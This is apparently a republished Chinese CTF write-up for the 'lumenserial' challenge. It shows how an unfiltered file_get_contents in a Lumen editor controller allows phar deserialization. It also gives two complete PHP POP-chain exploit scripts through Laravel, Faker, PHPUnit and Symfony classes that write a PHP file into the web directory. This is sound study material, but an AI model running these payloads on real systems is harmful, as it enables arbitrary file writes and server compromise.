内容简介:在安全客看到了两篇文章查看路由
在安全客看到了两篇文章 PHP反序列化入门之寻找POP链(一) , PHP反序列化入门之寻找POP链(二) ,之前没有来得及仔细看p牛出的这道lumenserial,所以这里跟着文章的思路审一下。
任意反序列化
查看路由
/routers/web.php
<?php use Illuminate\Http\Request; use Symfony\Component\HttpFoundation\File\File; $router->get('/', function (Request $request) use ($router) { return view('index'); }); $router->get('/server/editor', 'EditorController@main'); $router->post('/server/editor', 'EditorController@main');
跟进 EditorController
,download方法中 $url
未经过过滤直接传入 file_get_contents
,查看 $url
来源,如果我们可控,则我们可以利用phar://来任意反序列化。
private function download($url) { $maxSize = $this->config['catcherMaxSize']; $limitExtension = array_map(function ($ext) { return ltrim($ext, '.'); }, $this->config['catcherAllowFiles']); $allowTypes = array_map(function ($ext) { return "image/{$ext}"; }, $limitExtension); $content = file_get_contents($url); $img = getimagesizefromstring($content);
查看 $url
如何传入
function __construct() { $config_filename = app()->basePath('resources/editor/config.json'); $this->config = json_decode(preg_replace("/\/\*[\s\S]+?\*\//", "", file_get_contents($config_filename)), true); } protected function doCatchimage(Request $request) { $sources = $request->input($this->config['catcherFieldName']); $rets = []; if ($sources) { foreach ($sources as $url) { $rets[] = $this->download($url); } } return response()->json([ 'state' => 'SUCCESS', 'list' => $rets ]); }
$url
从 $sources
获得, $sources
我们可控,查看 $this->config['catcherFieldName']
。
因此只要请求一个 source
参数即可控制 $url
,接下来就是寻找popchain。
由于这里环境为 php 7.2.12,且 disable_function
过滤了各种危险函数。因此我们需要找到其他利用点,例如 call_user_func_array('file_put_contents',array('smi1e.php','123'))
。
POP Chain 1
首先要寻找寻找 __wakeup
或者 __destruct
。在phpggc 里面所有的Laravel/RCE 都是利用的 \Illuminate\Broadcasting\PendingBroadcast::__destruct()
<?php namespace Illuminate\Broadcasting; use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $events; protected $event; public function __construct(Dispatcher $events, $event) { $this->event = $event; $this->events = $events; } public function __destruct() { $this->events->dispatch($this->event); } }
$event
和 $event
可控,因此要么我们控制 $this->events
触发 __call
方法,要么寻找带有 dispatch
方法的类。
发现 /vender/fzaninotto/faker/src/Faker/ValidGenerator.php
中的 __call
方法比较好用。
class ValidGenerator { protected $generator; protected $validator; protected $maxRetries; public function __construct(Generator $generator, $validator = null, $maxRetries = 10000) { if (is_null($validator)) { $validator = function () { return true; }; } elseif (!is_callable($validator)) { throw new \InvalidArgumentException('valid() only accepts callables as first argument'); } $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } public function __call($name, $arguments) { $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries)); } } while (!call_user_func($this->validator, $res)); return $res; } }
可以看到 call_user_func_array
的结果传入了 call_user_func
,而 $this->validator
我们可控,因此只要我们可以控制 call_user_func_array
的返回结果,则可以执行任意类的方法。
接下来就是找一个可以控制返回结果的类
/vender/fzaninotto/faker/src/Faker/DefaultGenerator.php
<?php namespace Faker; class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } public function __get($attribute) { return $this->default; } public function __call($method, $attributes) { return $this->default; } }
现在 call_user_func($this->validator, $res)
两个参数都可控,但是执行 file_put_contents
需要两个参数,因此我们需要再找到一个类中有 call_user_func_array
函数,且参数可控的方法。
/phpunit/phpunit/src/MockObject/Stub/ReturnCallback.php
namespace PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Invocation; use PHPUnit\Framework\MockObject\Stub; class ReturnCallback implements Stub { private $callback; public function __construct($callback) { $this->callback = $callback; } public function invoke(Invocation $invocation) { return \call_user_func_array($this->callback, $invocation->getParameters()); } ..... }
Invocation是一个接口,查找其实现的代码。
/phpunit/phpunit/src/MockObject/Invocation/Invocation.php
<?php namespace PHPUnit\Framework\MockObject; /** * Interface for invocations. */ interface Invocation { /** * @return mixed mocked return value */ public function generateReturnValue(); public function getClassName(): string; public function getMethodName(): string; public function getParameters(): array; public function getReturnType(): string; public function isReturnTypeNullable(): bool; }
/phpunit/phpunit/src/MockObject/Invocation/StaticInvocation.php
class StaticInvocation implements Invocation, SelfDescribing { public function __construct($className, $methodName, array $parameters, $returnType, $cloneObjects = false) { $this->className = $className; $this->methodName = $methodName; $this->parameters = $parameters; ..... } public function getParameters(): array { return $this->parameters; }
$invocation->getParameters()
的返回值可控。因此我们可以完全控制 call_user_func_array($this->callback, $invocation->getParameters())
中的参数。
exp
<?php namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }; namespace Faker{ class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } class ValidGenerator { protected $generator; protected $validator; protected $maxRetries; public function __construct($generator, $validator = null, $maxRetries = 10000) { $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } } }; namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback { private $callback; public function __construct($callback) { $this->callback = $callback; } } }; namespace PHPUnit\Framework\MockObject\Invocation{ class StaticInvocation { private $parameters; public function __construct($parameters) { $this->parameters = $parameters; } } }; namespace{ $function='file_put_contents'; $parameters=array('/var/www/html/smi1e.php','<?php $_POST[\'1\'];?>'); $invocation=new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters); $return=new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function); $default=new Faker\DefaultGenerator($invocation); $valid=new Faker\ValidGenerator($default,array($return,'invoke'),100); $obj=new Illuminate\Broadcasting\PendingBroadcast($valid,1); $o = $obj; @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); }; ?>
ps:这里 /var/www/html
目录无写权限,需要写到upload目录下。懒得改payload了,我进容器改了下权限,2333。
POP Chain 2
这个链的核心是 /vender/fzaninotto/faker/src/Faker/Generator.php
class Generator { protected $providers = array(); protected $formatters = array(); public function __call($method, $attributes) { return $this->format($method, $attributes); } public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); } public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); } }
call_user_func_array
可以看到 call_user_func_array
的两个参数完全可控,因此我们只要找到方法中存在形如 this->$object->$method($arg1,$arg2)
且4个参数均可控的地方,就可以利用这个 Generator 类的 __call
方法,最终执行 call_user_func_array('file_put_contents',array('1.php','123'))
。
/vendor/symfony/event-dispatcher/Debug/TracebleEventDispatcher.php
中的 dispatch
方法
class TraceableEventDispatcher implements TraceableEventDispatcherInterface { public function dispatch($eventName, Event $event = null) { if (null === $event) { $event = new Event(); } if (null !== $this->logger && $event->isPropagationStopped()) { $this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName)); } $this->preProcess($eventName); ...... }
跟进preProcess方法
可以看到这里有我们想要的 this->$object->$method($arg1,$arg2)
,且前三个参数都可控,第四个参数我们也可以想办法控制,但是跟进前面的 $this->getListenerPriority
会发现该方法也有我们想要的东西,这样就更好了。
但前提是我们要绕过这个if条件,我们需要让 $this->dispatcher->hasListeners($eventName)
返回为True。
if (!$this->dispatcher->hasListeners($eventName)) { $this->orphanedEvents[] = $eventName; return; }
我们可以继续利用开头说到的这个POP链的核心类 /vender/fzaninotto/faker/src/Faker/Generator.php
,另 $formatters['hasListeners']
等于一个能够把 $eventName
做为参数且返回True的函数即可,而 $eventName
其实是需要写的文件路径。因此用strlen函数即可。
继续跟进foreach条件,我们需要控制 $this->dispatcher->getListeners($eventName)
的返回结果进而才能控制 $listener
,搜索可利用的 getListeners
方法。
/vender/illuminate/events/Dispatcher.php
class Dispatcher implements DispatcherContract { protected $listeners = []; public function getListeners($eventName) { $listeners = $this->listeners[$eventName] ?? []; $listeners = array_merge( $listeners, $this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName) ); return class_exists($eventName, false) ? $this->addInterfaceListeners($eventName, $listeners) : $listeners; } }
可以发现 $listeners
很容易被控制,从而我们可以控制返回结果。现在我们可以控制 $this->dispatcher->getListenerPriority($eventName, $listener)
所有参数,然后再次利用开头所说的核心类 /vender/fzaninotto/faker/src/Faker/Generator.php
执行 call_user_func_array($this->getFormatter($formatter), $arguments);
,参数完全可控,从而执行 call_user_func_array('file_put_contents',array('1.php','123'))
。
exp
<?php namespace Illuminate\Events{ class Dispatcher { protected $listeners = []; protected $wildcardsCache = []; public function __construct($parameter){ $this->listeners[$parameter['filename']] = array($parameter['contents']); } } }; namespace Faker{ class Generator { protected $providers = array(); protected $formatters = array(); public function __construct($providers,$formatters){ $this->formatters = $formatters; $this->providers = $providers; } } }; namespace Symfony\Component\EventDispatcher\Debug{ class TraceableEventDispatcher{ private $dispatcher; public function __construct($dispatcher){ $this->dispatcher = $dispatcher; } } }; namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $parameter){ $this->events = $events; $this->event = $parameter['filename']; } } }; namespace{ $function='file_put_contents'; $paramters=array('filename'=>'/var/www/html/upload/1.php','contents'=>'<? phpinfo();?>'); $dispatcher = new Illuminate\Events\Dispatcher($paramters); $generator = new Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]); $trace = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator); $obj =new Illuminate\Broadcasting\PendingBroadcast($trace,$paramters); $o = $obj; @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); }; ?>
这次我直接写进了upload目录,没有更改容器权限。
以上所述就是小编给大家介绍的《code-breaking lumenserial》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。